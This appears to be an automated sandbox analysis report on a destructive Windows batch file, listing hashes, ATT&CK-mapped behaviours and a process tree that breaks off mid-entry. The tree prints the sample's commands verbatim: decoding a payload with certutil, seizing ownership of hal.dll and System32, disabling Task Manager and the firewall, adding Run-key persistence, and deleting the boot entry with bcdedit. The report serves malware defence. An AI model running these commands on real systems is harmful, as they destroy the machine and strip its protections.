e9a085381e930a6c94b749f0ae8326de23db7f6a7bdb3e9dbb3fb36459f87ede

Analysis

max time kernel
148s
max time network
135s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
24/07/2024, 00:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ADZP 20 Complex.cmd
Size 22KB
Sample240724-aea3dazdkf
SHA256 e9a085381e930a6c94b749f0ae8326de23db7f6a7bdb3e9dbb3fb36459f87ede
MD5 522f0612e270a1fa6b22c21c4f18778d
SHA1 7f904161fce7a2954613305b83e271e1bf366aa7
SHA512 f2b83829c63414b352e78b809f78d2c3fd4f7c7c990248be0ff6ad2f45d42a41e1ad929e399828dfa08683a3a77028f7ef21fae95b71cd15f5bb0b5f3b557b28
SSDEEP 384:2XJdAbrM21q0j0L1qEzdQ8PigfwTxX8PKJWo3yz6pMg:6bAUAW17JQrgodXksMg
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery evasion execution exploit persistence privilege_escalation upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4440	powershell.exe

Disables Task Manager via registry modification
evasion

Modifies Windows Firewall 2 TTPs 13 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1432	netsh.exe
772	netsh.exe
8924	netsh.exe
3000	netsh.exe
5772	netsh.exe
8276	netsh.exe
3760	netsh.exe
1748	netsh.exe
8920	netsh.exe
6952	netsh.exe
5512	netsh.exe
220	netsh.exe
8884	netsh.exe

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
4072	takeown.exe
12612	icacls.exe
8364	takeown.exe
8548	takeown.exe
8816	icacls.exe
11668	icacls.exe
5856	takeown.exe
6056	takeown.exe
9060	icacls.exe
10168	icacls.exe
2248	takeown.exe
7232	takeown.exe
8956	icacls.exe
11816	icacls.exe
8340	takeown.exe
6072	takeown.exe
408	takeown.exe
8880	icacls.exe
10004	takeown.exe
4216	icacls.exe
6816	icacls.exe
7748	takeown.exe
9100	takeown.exe
8276	takeown.exe
6724	takeown.exe
8964	takeown.exe
3524	takeown.exe
8740	icacls.exe
12036	takeown.exe
1156	icacls.exe
436	icacls.exe
12644	icacls.exe
10612	takeown.exe
11968	takeown.exe
4764	takeown.exe
8892	takeown.exe
1440	icacls.exe
5736	takeown.exe
6588	takeown.exe
8980	icacls.exe
3664	takeown.exe
6032	takeown.exe
7408	icacls.exe
5824	icacls.exe
5948	takeown.exe
9828	takeown.exe
10280	icacls.exe
11316	takeown.exe
6604	icacls.exe
5192	takeown.exe
8116	takeown.exe
8984	takeown.exe
8348	takeown.exe
13116	takeown.exe
3356	takeown.exe
6120	icacls.exe
10020	takeown.exe
5928	takeown.exe
7948	icacls.exe
5996	takeown.exe
6100	takeown.exe
7928	icacls.exe
7520	icacls.exe
5504	takeown.exe

Executes dropped EXE 1 IoCs

pid	Process
3452	Tasksvc.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
8740	icacls.exe
9052	icacls.exe
11900	takeown.exe
6048	icacls.exe
6120	icacls.exe
6720	takeown.exe
7572	icacls.exe
8892	takeown.exe
10320	takeown.exe
12036	takeown.exe
12156	takeown.exe
5948	takeown.exe
6620	takeown.exe
7392	icacls.exe
6384	icacls.exe
5456	takeown.exe
8364	takeown.exe
1192	takeown.exe
5552	takeown.exe
10744	takeown.exe
5552	icacls.exe
11168	takeown.exe
5980	icacls.exe
4764	takeown.exe
7748	takeown.exe
5192	takeown.exe
6816	icacls.exe
8340	takeown.exe
8816	icacls.exe
8236	icacls.exe
11860	takeown.exe
7024	icacls.exe
6008	takeown.exe
8548	takeown.exe
9100	takeown.exe
12196	icacls.exe
7976	takeown.exe
3524	takeown.exe
8748	icacls.exe
11816	icacls.exe
7948	icacls.exe
6604	icacls.exe
4072	takeown.exe
9828	takeown.exe
7304	takeown.exe
7408	icacls.exe
6588	takeown.exe
4456	takeown.exe
5928	takeown.exe
7024	takeown.exe
8980	icacls.exe
8880	icacls.exe
10612	takeown.exe
2536	takeown.exe
1440	icacls.exe
7408	icacls.exe
8996	takeown.exe
5824	icacls.exe
12612	icacls.exe
8984	takeown.exe
3612	icacls.exe
8964	takeown.exe
8276	takeown.exe
6924	takeown.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00070000000234b9-241.dat	upx
behavioral2/memory/3452-244-0x0000000000400000-0x000000000040E000-memory.dmp	upx
behavioral2/memory/3452-254-0x0000000000400000-0x000000000040E000-memory.dmp	upx

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
4848	certutil.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Modifies boot configuration data using bcdedit 13 IoCs

pid	Process
3936	bcdedit.exe
5724	bcdedit.exe
5740	bcdedit.exe
5772	bcdedit.exe
9060	bcdedit.exe
5296	bcdedit.exe
7648	bcdedit.exe
8400	bcdedit.exe
3840	bcdedit.exe
9028	bcdedit.exe
2924	bcdedit.exe
4032	bcdedit.exe
1280	bcdedit.exe

Drops autorun.inf file 1 TTPs 1 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\Autorun.inf	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\hal.dll	attrib.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\twain_32.dll	attrib.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Tasksvc.exe

Gathers network information 2 TTPs 13 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5624	ipconfig.exe
3520	ipconfig.exe
9072	ipconfig.exe
2652	ipconfig.exe
10436	ipconfig.exe
3968	ipconfig.exe
3036	ipconfig.exe
5572	ipconfig.exe
716	ipconfig.exe
5616	ipconfig.exe
6036	ipconfig.exe
8584	ipconfig.exe
5572	ipconfig.exe

Modifies registry key 1 TTPs 26 IoCs

Modify Registry

T1112

pid	Process
5112	reg.exe
1572	reg.exe
4408	reg.exe
3368	reg.exe
8988	reg.exe
5580	reg.exe
2056	reg.exe
5640	reg.exe
6068	reg.exe
2384	reg.exe
8536	reg.exe
5620	reg.exe
8548	reg.exe
9084	reg.exe
8524	reg.exe
9088	reg.exe
1296	reg.exe
3248	reg.exe
5660	reg.exe
3840	reg.exe
624	reg.exe
4744	reg.exe
2052	reg.exe
2652	reg.exe
8852	reg.exe
9012	reg.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2536	takeown.exe
Token: 33	2192	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2192	AUDIODG.EXE
Token: SeTakeOwnershipPrivilege	3356	takeown.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 712 wrote to memory of 4848	712	cmd.exe	85
PID 712 wrote to memory of 4848	712	cmd.exe	85
PID 712 wrote to memory of 3452	712	cmd.exe	86
PID 712 wrote to memory of 3452	712	cmd.exe	86
PID 712 wrote to memory of 3452	712	cmd.exe	86
PID 712 wrote to memory of 2536	712	cmd.exe	87
PID 712 wrote to memory of 2536	712	cmd.exe	87
PID 712 wrote to memory of 804	712	cmd.exe	89
PID 712 wrote to memory of 804	712	cmd.exe	89
PID 712 wrote to memory of 60	712	cmd.exe	90
PID 712 wrote to memory of 60	712	cmd.exe	90
PID 712 wrote to memory of 3356	712	cmd.exe	94
PID 712 wrote to memory of 3356	712	cmd.exe	94
PID 712 wrote to memory of 1440	712	cmd.exe	95
PID 712 wrote to memory of 1440	712	cmd.exe	95
PID 712 wrote to memory of 4000	712	cmd.exe	96
PID 712 wrote to memory of 4000	712	cmd.exe	96
PID 712 wrote to memory of 3460	712	cmd.exe	106
PID 712 wrote to memory of 3460	712	cmd.exe	106
PID 712 wrote to memory of 2652	712	cmd.exe	107
PID 712 wrote to memory of 2652	712	cmd.exe	107
PID 712 wrote to memory of 4408	712	cmd.exe	108
PID 712 wrote to memory of 4408	712	cmd.exe	108
PID 712 wrote to memory of 1432	712	cmd.exe	109
PID 712 wrote to memory of 1432	712	cmd.exe	109
PID 712 wrote to memory of 3936	712	cmd.exe	110
PID 712 wrote to memory of 3936	712	cmd.exe	110

Views/modifies file attributes 1 TTPs 60 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5992	attrib.exe
9204	attrib.exe
12000	attrib.exe
8844	attrib.exe
8932	attrib.exe
4000	attrib.exe
3716	attrib.exe
6132	attrib.exe
9428	attrib.exe
9404	attrib.exe
11200	attrib.exe
1584	attrib.exe
1280	attrib.exe
10612	attrib.exe
2224	attrib.exe
6092	attrib.exe
1196	attrib.exe
7824	attrib.exe
8596	attrib.exe
524	attrib.exe
8588	attrib.exe
8440	attrib.exe
11724	attrib.exe
8388	attrib.exe
7232	attrib.exe
8980	attrib.exe
13008	attrib.exe
60	attrib.exe
6100	attrib.exe
5376	attrib.exe
6064	attrib.exe
7060	attrib.exe
7228	attrib.exe
7256	attrib.exe
8396	attrib.exe
4820	attrib.exe
11516	attrib.exe
5940	attrib.exe
6680	attrib.exe
9036	attrib.exe
4828	attrib.exe
13080	attrib.exe
6064	attrib.exe
6136	attrib.exe
7980	attrib.exe
7384	attrib.exe
3628	attrib.exe
8912	attrib.exe
9196	attrib.exe
1988	attrib.exe
11816	attrib.exe
13156	attrib.exe
8156	attrib.exe
8832	attrib.exe
10632	attrib.exe
11688	attrib.exe
5896	attrib.exe
2352	attrib.exe
9352	attrib.exe
10964	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
1⤵
- Drops autorun.inf file
- Suspicious use of WriteProcessMemory
PID:712
- C:\Windows\system32\certutil.exe
  certutil -decode "Bytebeat.sk" "Tasksvc.exe"
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:4848
- C:\Users\Admin\AppData\Local\Temp\Tasksvc.exe
  "Tasksvc.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3452
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\hal.dll"
  2⤵
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2536
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\hal.dll" /reset /c /q
  2⤵
  PID:804
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\hal.dll"
  2⤵
  - Drops file in System32 directory
  - Views/modifies file attributes
  PID:60
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\Twain_32.dll"
  2⤵
  - Possible privilege escalation attempt
  - Suspicious use of AdjustPrivilegeToken
  PID:3356
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\Twain_32.dll" /reset /c /q
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1440
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\Twain_32.dll"
  2⤵
  - Drops file in Windows directory
  - Views/modifies file attributes
  PID:4000
- C:\Windows\system32\reg.exe
  reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
  2⤵
  PID:3460
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:2652
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4408
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1432
- C:\Windows\system32\bcdedit.exe
  bcdedit /delete {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\MouseMove.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K Taskdl.bat
  2⤵
  PID:4752
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32" /r
    3⤵
    - Possible privilege escalation attempt
    PID:3664
- C:\Windows\system32\wscript.exe
  WScript Informacion.vbs
  2⤵
  PID:2416
- C:\Windows\system32\ipconfig.exe
  ipconfig /release
  2⤵
  - Gathers network information
  PID:3968
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h *.*
  2⤵
  - Views/modifies file attributes
  PID:3716
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:1424
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:1320
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:4524
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:1824
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:1524
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:4892
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:844
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:4876
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:4624
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:3636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
  2⤵
  PID:4676
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll"
    3⤵
    - Possible privilege escalation attempt
    PID:5736
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5824
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\hal.dll"
    3⤵
    - Views/modifies file attributes
    PID:5896
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\Twain_32.dll"
    3⤵
    - Modifies file permissions
    PID:6008
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\Twain_32.dll" /reset /c /q
    3⤵
    - Modifies file permissions
    PID:6048
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\Twain_32.dll"
    3⤵
    - Views/modifies file attributes
    PID:6064
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
    3⤵
    PID:5128
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:3248
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5580
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:772
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Taskdl.bat
    3⤵
    PID:5824
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32" /r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5928
- - C:\Windows\system32\wscript.exe
    WScript Informacion.vbs
    3⤵
    PID:5852
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:5624
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h *.*
    3⤵
    - Views/modifies file attributes
    PID:6064
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5760
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5724
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5752
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5324
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5916
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5912
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5012
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5624
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6032
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:6064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:5616
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Modifies file permissions
      PID:7976
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:7072
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:7060
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      PID:8116
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:7572
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:8588
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:9020
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:9084
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:1296
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:3000
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:7944
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        5⤵
        Modifies file permissions
        
        PID:4456
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:2580
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:5572
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      Views/modifies file attributes
      PID:1280
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:3000
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:3244
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:8276
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9224
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9232
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9240
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9248
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9256
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9264
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9272
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:9340
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        Modifies file permissions
        
        PID:11900
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:8980
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        Views/modifies file attributes
        
        PID:4828
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:9348
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:9356
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:9364
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:9372
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:9380
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        Possible privilege escalation attempt
        
        PID:11968
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        
        PID:12064
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        Views/modifies file attributes
        
        PID:11516
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:9388
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:9396
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:9404
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:9412
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:9420
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        Modifies file permissions
        
        PID:12156
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        
        PID:436
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        Views/modifies file attributes
        
        PID:2224
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:9428
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:9436
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:9444
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:9452
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\drivers" /r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9828
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\drivers" /reset /t /c /q
      4⤵
      PID:12792
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
      4⤵
      Views/modifies file attributes
      PID:13156
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5708
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5376
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:5372
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:1748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:5756
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      PID:7396
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:6384
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:7980
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      PID:7280
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7948
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:3628
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:8308
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:8524
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:3840
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8924
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:9060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:6512
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4072
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:8612
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:3036
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      Views/modifies file attributes
      PID:8980
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:7928
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:5892
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:5188
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:1280
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9044
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10068
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9564
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9108
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:6396
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:3576
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:11732
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:11892
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:12048
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:9800
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:7184
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:2128
    - - C:\Windows\system32\takeown.exe
        
